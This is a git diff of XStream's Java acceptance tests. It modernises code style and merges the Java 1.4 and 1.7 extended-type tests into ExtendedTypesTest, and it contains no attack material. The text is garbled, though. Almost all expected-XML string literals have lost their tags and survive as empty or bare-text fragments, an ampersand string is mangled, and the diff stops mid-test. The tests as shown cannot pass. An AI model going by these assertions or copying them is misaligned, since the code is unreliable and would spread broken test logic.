a/xstream/src/test/com/thoughtworks/acceptance/DataHolderTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/DataHolderTest.java @@ -1,79 +1,84 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 04. October 2004 by Joe Walnes */ package com.thoughtworks.acceptance; +import java.io.StringReader; +import java.io.StringWriter; + import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.DataHolder; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.io.xml.PrettyPrintWriter; -import com.thoughtworks.xstream.io.xml.XppReader; -import java.io.StringReader; -import java.io.StringWriter; public class DataHolderTest extends AbstractAcceptanceTest { - class StringWithPrefixConverter implements Converter { + static class StringWithPrefixConverter implements Converter { - public boolean canConvert(Class type) { + @Override + public boolean canConvert(final Class type) { return type == String.class; } - public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { - String prefix = (String) context.get("prefix"); + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, + final MarshallingContext context) { + final String prefix = (String)context.get("prefix"); if (prefix != null) { writer.addAttribute("prefix", prefix); } writer.setValue(source.toString()); } - public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { + @Override + public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { context.put("saw-this", reader.getAttribute("can-you-see-me")); return reader.getValue(); } } + @SuppressWarnings("resource") public void testCanBePassedInToMarshallerExternally() { // setup xstream.registerConverter(new StringWithPrefixConverter()); - StringWriter writer = new StringWriter(); - DataHolder dataHolder = xstream.newDataHolder(); + final StringWriter writer = new StringWriter(); + final DataHolder dataHolder = xstream.newDataHolder(); // execute dataHolder.put("prefix", "additional stuff"); xstream.marshal("something", new PrettyPrintWriter(writer), dataHolder); // verify - String expected = "something"; + final String expected = "something"; assertEquals(expected, writer.toString()); } public void testCanBePassedInToUnmarshallerExternally() { // setup xstream.registerConverter(new StringWithPrefixConverter()); - DataHolder dataHolder = xstream.newDataHolder(); + final DataHolder dataHolder = xstream.newDataHolder(); // execute - String xml = "something"; - Object result = xstream.unmarshal(new XppReader(new StringReader(xml)), null, dataHolder); + final String xml = "something"; + final String result = xstream + .unmarshal(DefaultDriver.create().createReader(new StringReader(xml)), null, dataHolder); // verify assertEquals("something", result); assertEquals("yes", dataHolder.get("saw-this")); } - - } diff --git a/xstream/src/test/com/thoughtworks/acceptance/DefaultImplementationTest.java b/xstream/src/test/com/thoughtworks/acceptance/DefaultImplementationTest.java index 14952eee5..f50f7f9f6 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/DefaultImplementationTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/DefaultImplementationTest.java @@ -1,50 +1,53 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. July 2004 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.StandardObject; -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - import java.util.ArrayList; import java.util.Calendar; import java.util.List; import java.util.TimeZone; -public class DefaultImplementationTest extends AbstractAcceptanceTest { +import com.thoughtworks.acceptance.objects.StandardObject; +import com.thoughtworks.xstream.testutil.TimeZoneChanger; +public class DefaultImplementationTest extends AbstractAcceptanceTest { + public static class Farm extends StandardObject { + private static final long serialVersionUID = 200407L; int size; - List animals = new ArrayList(); + List animals = new ArrayList<>(); String name; - public Farm(int size, String name) { + public Farm(final int size, final String name) { this.size = size; this.name = name; } - public void add(Animal animal) { + public void add(final Animal animal) { animals.add(animal); } } public static class Animal extends StandardObject { + private static final long serialVersionUID = 200407L; String name; - public Animal(String name) { + public Animal(final String name) { this.name = name; } } + @Override protected void setUp() throws Exception { super.setUp(); TimeZoneChanger.change("GMT"); @@ -53,56 +56,55 @@ protected void setUp() throws Exception { xstream.alias("age", Age.class); } - /** - * @see junit.framework.TestCase#tearDown() - */ + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); } public void testArrayList() { - Farm farm = new Farm(100, "Old McDonald's"); + final Farm farm = new Farm(100, "Old McDonald's"); farm.add(new Animal("Cow")); farm.add(new Animal("Sheep")); - String expected = "" + - "\n" + - " 100\n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Old McDonald's\n" + - ""; + final String expected = "" + + "\n" + + " 100\n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Old McDonald's\n" + + ""; assertBothWays(farm, expected); } public static class Age extends StandardObject { + private static final long serialVersionUID = 200712L; java.util.Date date; - public Age(java.util.Date age) { - this.date = age; + public Age(final java.util.Date age) { + date = age; } } public void testCustomDate() { - Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC")); + final Calendar cal = Calendar.getInstance(TimeZone.getTimeZone("UTC")); cal.clear(); cal.set(2007, Calendar.DECEMBER, 18); - Age age = new Age(new java.sql.Date(cal.getTime().getTime())); + final Age age = new Age(new java.sql.Date(cal.getTime().getTime())); xstream.addDefaultImplementation(java.sql.Date.class, java.util.Date.class); - - String expected = "" + - "\n" + - " 2007-12-18\n" + - ""; + + final String expected = "" // + + "\n" + + " 2007-12-18\n" + + ""; assertBothWays(age, expected); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/DynamicProxyTest.java b/xstream/src/test/com/thoughtworks/acceptance/DynamicProxyTest.java index 60909d1a8..7e8e20250 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/DynamicProxyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/DynamicProxyTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 25. March 2004 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -26,49 +26,45 @@ public static class ClassWithProxyMember { }; @Override - protected void setupSecurity(XStream xstream) { + protected void setupSecurity(final XStream xstream) { super.setupSecurity(xstream); xstream.addPermission(ProxyTypePermission.PROXIES); } public void testCanBeMarshaled() { - assertBothWays( - SampleDynamicProxy.newInstance(), - "" - + "\n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" - + " \n" - + " hello\n" - + " \n" - + ""); + assertBothWays(SampleDynamicProxy.newInstance(), "" + + "\n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" + + " \n" + + " hello\n" + + " \n" + + ""); } public void testAsFieldMember() { - ClassWithProxyMember expected = new ClassWithProxyMember(); + final ClassWithProxyMember expected = new ClassWithProxyMember(); expected.one = (SampleDynamicProxy.InterfaceOne)SampleDynamicProxy.newInstance(); expected.two = (SampleDynamicProxy.InterfaceTwo)expected.one; xstream.alias("with-proxy", ClassWithProxyMember.class); - assertBothWays( - expected, - "" - + "\n" - + " \n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" - + " \n" - + " hello\n" - + " \n" - + " \n" - + " \n" - + ""); + assertBothWays(expected, "" + + "\n" + + " \n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" + + " \n" + + " hello\n" + + " \n" + + " \n" + + " \n" + + ""); } public void testTypeCanBeAliased() { xstream.aliasType("one", SampleDynamicProxy.InterfaceOne.class); xstream.alias("two", SampleDynamicProxy.InterfaceTwo.class); xstream.alias("handler", SampleDynamicProxy.class); - String expected = "" + final String expected = "" + "\n" + " one\n" + " two\n" @@ -78,22 +74,20 @@ public void testTypeCanBeAliased() { + ""; assertEquals(expected, xstream.toXML(SampleDynamicProxy.newInstance())); } - + public void testCanBeReferenced() { - List list = new ArrayList(); - Object proxy = SampleDynamicProxy.newInstance(list); + final List list = new ArrayList<>(); + final Object proxy = SampleDynamicProxy.newInstance(list); list.add(proxy); - assertBothWays( - proxy, - "" - + "\n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" - + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" - + " \n" - + " \n" - + " \n" - + " \n" - + " \n" - + ""); + assertBothWays(proxy, "" + + "\n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceOne\n" + + " com.thoughtworks.acceptance.objects.SampleDynamicProxy$InterfaceTwo\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/EncodingTestSuite.java b/xstream/src/test/com/thoughtworks/acceptance/EncodingTestSuite.java index 250f558eb..14ff8ddfa 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/EncodingTestSuite.java +++ b/xstream/src/test/com/thoughtworks/acceptance/EncodingTestSuite.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2014, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2014, 2016, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -53,6 +53,7 @@ public class EncodingTestSuite extends TestSuite { public static class TestObject extends StandardObject { + private static final long serialVersionUID = 200801L; private String data; } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ErrorTest.java b/xstream/src/test/com/thoughtworks/acceptance/ErrorTest.java index 7c8c973de..488d67458 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ErrorTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ErrorTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. May 2004 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -14,6 +14,7 @@ import com.thoughtworks.xstream.converters.ConversionException; import com.thoughtworks.xstream.io.StreamException; + public class ErrorTest extends AbstractAcceptanceTest { public static class Thing { @@ -21,6 +22,7 @@ public static class Thing { int two; } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("thing", Thing.class); @@ -29,78 +31,63 @@ protected void setUp() throws Exception { public void testUnmarshallerThrowsExceptionWithDebuggingInfo() { try { xstream.fromXML("" - + "\n" - + " string 1\n" - + " another string\n" + + "\n" + + " string 1\n" + + " another string\n" + ""); fail("Error expected"); - } catch (ConversionException e) { - assertEquals("java.lang.NumberFormatException", - e.get("cause-exception")); - assertEquals("For input string: \"another string\"", - e.get("cause-message")); - assertEquals(Integer.class.getName(), - e.get("class")); - assertEquals("/thing/two", - e.get("path")); - assertEquals("3", - e.get("line number")); - assertEquals("java.lang.Integer", - e.get("required-type")); - assertEquals(Thing.class.getName(), - e.get("class[1]")); + } catch (final ConversionException e) { + assertEquals("java.lang.NumberFormatException", e.get("cause-exception")); + assertEquals("For input string: \"another string\"", e.get("cause-message")); + assertEquals(Integer.class.getName(), e.get("class")); + assertEquals("/thing/two", e.get("path")); + assertEquals("3", e.get("line number")); + assertEquals("java.lang.Integer", e.get("required-type")); + assertEquals(Thing.class.getName(), e.get("class[1]")); } } public void testInvalidXml() { try { - xstream.fromXML("" - + "\n" - + " string 1\n" - + " <<\n" + xstream.fromXML(""// + + "\n" + + " string 1\n" + + " <<\n" + ""); fail("Error expected"); - } catch (ConversionException e) { - assertEquals(StreamException.class.getName(), - e.get("cause-exception")); + } catch (final ConversionException e) { + assertEquals(StreamException.class.getName(), e.get("cause-exception")); assertNotNull(e.get("cause-message")); // depends on parser - assertEquals("/thing/two", - e.get("path")); - assertEquals("3", - e.get("line number")); + assertEquals("/thing/two", e.get("path")); + assertEquals("3", e.get("line number")); } } - + public void testNonExistingMember() { try { - xstream.fromXML("" - + "\n" - + " string 1\n" - + " 3\n" + xstream.fromXML("" // + + "\n" + + " string 1\n" + + " 3\n" + ""); fail("Error expected"); - } catch (ConversionException e) { - assertEquals("three", - e.get("field")); - assertEquals("/thing/three", - e.get("path")); - assertEquals("3", - e.get("line number")); + } catch (final ConversionException e) { + assertEquals("three", e.get("field")); + assertEquals("/thing/three", e.get("path")); + assertEquals("3", e.get("line number")); } } - + public void testNonExistingMemberMatchingAlias() { try { - xstream.fromXML("" - + "\n" - + " string 1\n" + xstream.fromXML("" // + + "\n" + + " string 1\n" + ""); fail("Error expected"); - } catch (ConversionException e) { - assertEquals("/thing/string", - e.get("path")); - assertEquals("2", - e.get("line number")); + } catch (final ConversionException e) { + assertEquals("/thing/string", e.get("path")); + assertEquals("2", e.get("line number")); } } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/Extended14TypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/Extended14TypesTest.java deleted file mode 100644 index 28418214b..000000000 --- a/xstream/src/test/com/thoughtworks/acceptance/Extended14TypesTest.java +++ /dev/null @@ -1,127 +0,0 @@ -/* - * Copyright (C) 2006, 2007, 2014 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 12. January 2006 by Joerg Schaible - */ -package com.thoughtworks.acceptance; - -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import javax.security.auth.Subject; -import javax.security.auth.x500.X500Principal; - -import java.nio.charset.Charset; -import java.security.Principal; -import java.util.Calendar; -import java.util.Currency; -import java.util.Locale; -import java.util.TimeZone; -import java.util.regex.Pattern; - -public class Extended14TypesTest extends AbstractAcceptanceTest { - - protected void setUp() throws Exception { - super.setUp(); - - // Ensure that this test always run as if it were in the EST timezone. - // This prevents failures when running the tests in different zones. - // Note: 'EST' has no relevance - it was just a randomly chosen zone. - TimeZoneChanger.change("EST"); - } - - protected void tearDown() throws Exception { - TimeZoneChanger.reset(); - super.tearDown(); - } - - public void testLocaleWithVariant() { - assertBothWays(new Locale("zh", "CN", "cc"), "zh_CN_cc"); - assertBothWays(new Locale("zh", "", "cc"), "zh__cc"); - } - - public void testCurrency() { - assertBothWays(Currency.getInstance("USD"), "USD"); - } - - public void testGregorianCalendar() { - Calendar in = Calendar.getInstance(); - in.setTimeZone(TimeZone.getTimeZone("AST")); - in.setTimeInMillis(44444); - String expected = "" + - "\n" + - " \n" + - " AST\n" + - ""; - Calendar out = (Calendar) assertBothWays(in, expected); - assertEquals(in.getTime(), out.getTime()); - assertEquals(TimeZone.getTimeZone("AST"), out.getTimeZone()); - } - - public void testGregorianCalendarCompat() { // compatibility to 1.1.2 and below - Calendar in = Calendar.getInstance(); - in.setTimeInMillis(44444); - String oldXML = "" + - "\n" + - " \n" + - ""; - Calendar out = (Calendar) xstream.fromXML(oldXML); - assertEquals(in.getTime(), out.getTime()); - assertEquals(TimeZone.getTimeZone("EST"), out.getTimeZone()); - } - - public void testRegexPattern() { - // setup - Pattern pattern = Pattern.compile("^[ae]*$", Pattern.MULTILINE | Pattern.UNIX_LINES); - String expectedXml = "" + - "\n" + - " ^[ae]*$\n" + - " 9\n" + - ""; - - // execute - String actualXml = xstream.toXML(pattern); - Pattern result = (Pattern) xstream.fromXML(actualXml); - - // verify - assertEquals(expectedXml, actualXml); - assertEquals(pattern.pattern(), result.pattern()); - assertEquals(pattern.flags(), result.flags()); - - assertFalse("regex should not hava matched", result.matcher("oooo").matches()); - assertTrue("regex should have matched", result.matcher("aeae").matches()); - } - - public void testSubject() { - xstream.allowTypes(Subject.class); - xstream.allowTypeHierarchy(Principal.class); - - Subject subject = new Subject(); - Principal principal = new X500Principal("c=uk, o=Thoughtworks, ou=XStream"); - subject.getPrincipals().add(principal); - String expectedXml = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " MDYxEDAOBgNVBAsTB1hTdHJlYW0xFTATBgNVBAoTDFRob3VnaHR3b3JrczELMAkGA1UEBhMCdWs=\n" + - " \n" + - " \n" + - " \n" + - " false\n" + - ""; - - assertBothWays(subject, expectedXml); - } - - public void testCharset() { - Charset charset = Charset.forName("utf-8"); - String expectedXml = "UTF-8"; - - assertBothWays(charset, expectedXml); - } -} diff --git a/xstream/src/test/com/thoughtworks/acceptance/Extended17TypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/Extended17TypesTest.java deleted file mode 100644 index 1f97ec84b..000000000 --- a/xstream/src/test/com/thoughtworks/acceptance/Extended17TypesTest.java +++ /dev/null @@ -1,76 +0,0 @@ -/* - * Copyright (C) 2016, 2017 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 7. February 2016 by Aaron Johnson - */ -package com.thoughtworks.acceptance; - -import java.io.File; -import java.io.IOException; -import java.net.URI; -import java.nio.file.FileSystem; -import java.nio.file.FileSystems; -import java.nio.file.Path; -import java.nio.file.Paths; -import java.util.HashMap; -import java.util.Map; - - -/** - * @author Aaron Johnson - * @author Jörg Schaible - */ -public class Extended17TypesTest extends AbstractAcceptanceTest { - - public void testPathOfDefaultFileSystem() { - assertBothWays(Paths.get("../a/relative/path"), "../a/relative/path"); - assertBothWays(Paths.get("/an/absolute/path"), "/an/absolute/path"); - - String absolutePathName = Paths.get("target").toAbsolutePath().toString(); - if (File.separatorChar != '/') { - absolutePathName = absolutePathName.replace(File.separatorChar, '/'); - } - final URI uri = URI.create("file:" + absolutePathName); - assertBothWays(Paths.get(uri), "" + absolutePathName + ""); - } - - public void testPathWithSpecialCharacters() { - assertBothWays(Paths.get("with space"), "with space"); - assertBothWays(Paths.get("with+plus"), "with+plus"); - assertBothWays(Paths.get("with&ersand"), "with&ampersand"); - } - - public void testPathOfNonDefaultFileSystem() throws IOException { - final Map env = new HashMap<>(); - env.put("create", "true"); - final URI uri = URI.create("jar:" - + Paths.get("target/lib/proxytoys-0.2.1.jar").toAbsolutePath().toUri().toString()); - - FileSystem zipfs = null; - try { - zipfs = FileSystems.newFileSystem(uri, env); - final String entry = "/com/thoughtworks/proxy/kit/SimpleReference.class"; - final Path path = zipfs.getPath(entry); - assertBothWays(path, "" + uri.toString() + "!" + entry + ""); - } finally { - if (zipfs != null) { - zipfs.close(); - } - } - } - - public void testPathIsImmutable() { - Path[] array = new Path[2]; - array[0] = array[1] = Paths.get("same"); - assertBothWays(array, "" // - + "\n" // - + " same\n" // - + " same\n" // - + ""); - } -} diff --git a/xstream/src/test/com/thoughtworks/acceptance/ExtendedTypesTest.java b/xstream/src/test/com/thoughtworks/acceptance/ExtendedTypesTest.java index e0f6861ee..6973006c9 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ExtendedTypesTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ExtendedTypesTest.java @@ -1,148 +1,454 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2012, 2014, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2012, 2014, 2016, 2017, 2018, 2020, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 01. October 2003 by Joe Walnes + * + * Created on 01. October 2003 by Joe Walnes, merged with Extended14TypesTest and Extended17TypesTest */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.converters.extended.SqlTimestampConverter; -import com.thoughtworks.xstream.testutil.TimeZoneChanger; - -import org.jdom.Element; - import java.awt.Color; import java.io.File; import java.io.IOException; +import java.net.URI; +import java.nio.charset.Charset; +import java.nio.file.FileSystem; +import java.nio.file.FileSystems; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.security.Principal; import java.sql.Date; import java.sql.Time; import java.sql.Timestamp; +import java.util.Calendar; +import java.util.Currency; +import java.util.HashMap; import java.util.Locale; +import java.util.Map; +import java.util.Optional; +import java.util.OptionalDouble; +import java.util.OptionalInt; +import java.util.OptionalLong; import java.util.TimeZone; +import java.util.regex.Pattern; + +import javax.security.auth.Subject; +import javax.security.auth.x500.X500Principal; + +import org.jdom.Element; + +import com.thoughtworks.xstream.converters.extended.SqlTimestampConverter; +import com.thoughtworks.xstream.testutil.TimeZoneChanger; + public class ExtendedTypesTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.allowTypes(Element.class, Color.class); - + // Ensure that this test always run as if it were in the EST timezone. // This prevents failures when running the tests in different zones. // Note: 'EST' has no relevance - it was just a randomly chosen zone. TimeZoneChanger.change("EST"); } + @Override protected void tearDown() throws Exception { TimeZoneChanger.reset(); super.tearDown(); } public void testAwtColor() { - Color color = new Color(0, 10, 20, 30); + final Color color = new Color(0, 10, 20, 30); - String expected = "" + - "\n" + - " 0\n" + - " 10\n" + - " 20\n" + - " 30\n" + - ""; + final String expected = "" + + "\n" + + " 0\n" + + " 10\n" + + " 20\n" + + " 30\n" + + ""; assertBothWays(color, expected); } public void testSqlTimestamp() { - assertBothWays(new Timestamp(1000), - "1970-01-01 00:00:01"); + assertBothWays(new Timestamp(1000), "1970-01-01 00:00:01"); } public void testSqlTimestampWithFraction() { - Timestamp timestamp = new Timestamp(1234); + final Timestamp timestamp = new Timestamp(1234); timestamp.setNanos(78900); - assertBothWays(timestamp, - "1970-01-01 00:00:01.0000789"); + assertBothWays(timestamp, "1970-01-01 00:00:01.0000789"); } public void testSqlTimestampWithLocalTimeZone() { xstream.registerConverter(new SqlTimestampConverter(TimeZone.getDefault())); - Timestamp timestamp = new Timestamp(1234); + final Timestamp timestamp = new Timestamp(1234); timestamp.setNanos(78900); - assertBothWays(timestamp, - ""+timestamp.toString()+""); + assertBothWays(timestamp, "" + timestamp.toString() + ""); } + @SuppressWarnings("deprecation") public void testSqlTime() { - assertBothWays(new Time(14, 7, 33), - "14:07:33"); + assertBothWays(new Time(14, 7, 33), "14:07:33"); } + @SuppressWarnings("deprecation") public void testSqlDate() { - assertBothWays(new Date(78, 7, 25), - "1978-08-25"); + assertBothWays(new Date(78, 7, 25), "1978-08-25"); } public void testFile() throws IOException { - // using temp file to avoid os specific or directory layout issues - File absFile = File.createTempFile("bleh", ".tmp"); + // using temp file to avoid OS specific or directory layout issues + final File absFile = File.createTempFile("bleh", ".tmp"); absFile.deleteOnExit(); assertTrue(absFile.isAbsolute()); String expectedXml = "" + absFile.getPath() + ""; assertFilesBothWay(absFile, expectedXml); // test a relative file now - File relFile = new File("bloh.tmp"); + final File relFile = new File("bloh.tmp"); relFile.deleteOnExit(); assertFalse(relFile.isAbsolute()); expectedXml = "" + relFile.getPath() + ""; assertFilesBothWay(relFile, expectedXml); } - private void assertFilesBothWay(File f, String expectedXml) { - String resultXml = xstream.toXML(f); + private void assertFilesBothWay(final File f, final String expectedXml) { + final String resultXml = xstream.toXML(f); assertEquals(expectedXml, resultXml); - Object resultObj = xstream.fromXML(resultXml); - assertEquals(File.class, resultObj.getClass()); + final File resultObj = xstream.fromXML(resultXml); assertEquals(f, resultObj); // now comes the part that fails without a specific converter - // in the case of a relative file, this will work, because we run the comparison test from the same working directory - assertEquals(f.getAbsolutePath(), ((File)resultObj).getAbsolutePath()); - assertEquals(f.isAbsolute(), ((File)resultObj).isAbsolute()); // needed because File's equals method only compares the path getAttribute, at least in the win32 implementation + // in the case of a relative file, this will work, because we run the comparison test from the same working + // directory + assertEquals(f.getAbsolutePath(), resultObj.getAbsolutePath()); + // needed because File's equals method only + // compares the path getAttribute, at least in the + // win32 implementation + assertEquals(f.isAbsolute(), resultObj.isAbsolute()); } public void testLocale() { assertBothWays(new Locale("zh", "", ""), "zh"); assertBothWays(new Locale("zh", "CN", ""), "zh_CN"); } - + public void testCanHandleJDomElement() { - Element element = new Element("JUnit"); - - String expected = "" + - "\n" + - " \n" + - " \n" + - " \n" + - " 0\n" + - " \n" + - " \n" + - " \n" + - " 0\n" + - " \n" + - " \n" + - " JUnit\n" + - " \n" + - " \n" + - " \n" + - " 0\n" + - " \n" + - ""; + final Element element = new Element("JUnit"); + + final String expected = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " JUnit\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + ""; assertBothWays(element, expected); } - + + public void testLocaleWithVariant() { + assertBothWays(new Locale("zh", "CN", "cc"), "zh_CN_cc"); + assertBothWays(new Locale("zh", "", "cc"), "zh__cc"); + } + + public void testCurrency() { + assertBothWays(Currency.getInstance("USD"), "USD"); + } + + public void testGregorianCalendar() { + final Calendar in = Calendar.getInstance(); + in.setTimeZone(TimeZone.getTimeZone("AST")); + in.setTimeInMillis(44444); + final String expected = "" + + "\n" + + " \n" + + " AST\n" + + ""; + final Calendar out = assertBothWays(in, expected); + assertEquals(in.getTime(), out.getTime()); + assertEquals(TimeZone.getTimeZone("AST"), out.getTimeZone()); + } + + public void testGregorianCalendarCompat() { // compatibility to 1.1.2 and below + final Calendar in = Calendar.getInstance(); + in.setTimeInMillis(44444); + final String oldXML = "" + "\n" + " \n" + ""; + final Calendar out = xstream.fromXML(oldXML); + assertEquals(in.getTime(), out.getTime()); + assertEquals(TimeZone.getTimeZone("EST"), out.getTimeZone()); + } + + public void testRegexPattern() { + // setup + final Pattern pattern = Pattern.compile("^[ae]*$", Pattern.MULTILINE | Pattern.UNIX_LINES); + final String expectedXml = "" + + "\n" + + " ^[ae]*$\n" + + " 9\n" + + ""; + + // execute + final String actualXml = xstream.toXML(pattern); + final Pattern result = xstream.fromXML(actualXml); + + // verify + assertEquals(expectedXml, actualXml); + assertEquals(pattern.pattern(), result.pattern()); + assertEquals(pattern.flags(), result.flags()); + + assertFalse("regex should not hava matched", result.matcher("oooo").matches()); + assertTrue("regex should have matched", result.matcher("aeae").matches()); + } + + public void testSubject() { + xstream.allowTypes(Subject.class); + xstream.allowTypeHierarchy(Principal.class); + + final Subject subject = new Subject(); + final Principal principal = new X500Principal("c=uk, o=Thoughtworks, ou=XStream"); + subject.getPrincipals().add(principal); + final String expectedXml = "" + + "\n" + + " \n" + + " \n" + + " \n" + + " MDYxEDAOBgNVBAsTB1hTdHJlYW0xFTATBgNVBAoTDFRob3VnaHR3b3JrczELMAkGA1UEBhMCdWs=\n" + + " \n" + + " \n" + + " \n" + + " false\n" + + ""; + + assertBothWays(subject, expectedXml); + } + + public void testCharset() { + final Charset charset = Charset.forName("utf-8"); + final String expectedXml = "UTF-8"; + + assertBothWays(charset, expectedXml); + } + + public void testPathOfDefaultFileSystem() { + assertBothWays(Paths.get("../a/relative/path"), "../a/relative/path"); + assertBothWays(Paths.get("/an/absolute/path"), "/an/absolute/path"); + + final Path absolutePath = Paths.get("target").toAbsolutePath(); + String absolutePathName = absolutePath.toString(); + if (File.separatorChar != '/') { + absolutePathName = absolutePathName.replace(File.separatorChar, '/'); + } + final Path path = Paths.get(absolutePath.toUri()); + assertBothWays(path, "" + absolutePathName + ""); + } + + public void testPathWithSpecialCharacters() { + assertBothWays(Paths.get("with space"), "with space"); + assertBothWays(Paths.get("with+plus"), "with+plus"); + assertBothWays(Paths.get("with&ersand"), "with&ampersand"); + assertBothWays(Paths.get("with%20encoding"), "with%20encoding"); + } + + public void testPathOfNonDefaultFileSystem() throws IOException { + final Map env = new HashMap<>(); + env.put("create", "true"); + final URI uri = URI + .create("jar:" + Paths.get("target/lib/proxytoys-0.2.1.jar").toAbsolutePath().toUri().toString()); + + try (final FileSystem zipfs = FileSystems.newFileSystem(uri, env)) { + final String entry = "/com/thoughtworks/proxy/kit/SimpleReference.class"; + final Path path = zipfs.getPath(entry); + assertBothWays(path, "" + uri.toString() + "!" + entry + ""); + } + } + + public void testPathIsImmutable() { + final Path[] array = new Path[2]; + array[0] = array[1] = Paths.get("same"); + assertBothWays(array, "" // + + "\n" // + + " same\n" // + + " same\n" // + + ""); + } + + public void testEmptyOptional() { + final Optional optional = Optional.empty(); + assertBothWays(optional, ""); + } + + public void testOptional() { + final Optional optional = Optional.of("test"); + assertBothWays(optional, ("" // + + "\n" // + + " test\n" // + + "").replace('\'', '"')); + } + + public void testOptionalWithAlias() { + final Optional optional = Optional.of("test"); + xstream.aliasField("junit", Optional.class, "value"); + assertBothWays(optional, ("" // + + "\n" // + + " test\n" // + + "").replace('\'', '"')); + } + + public void testOptionalIsRerenceable() { + @SuppressWarnings("unchecked") + final Optional[] array = new Optional[3]; + array[0] = array[2] = Optional.of("test"); + array[1] = Optional.empty(); + assertBothWays(array, ("" // + + "\n" // + + " \n" // + + " test\n" // + + " \n" // + + " \n" // + + " \n" // + + "").replace('\'', '"')); + 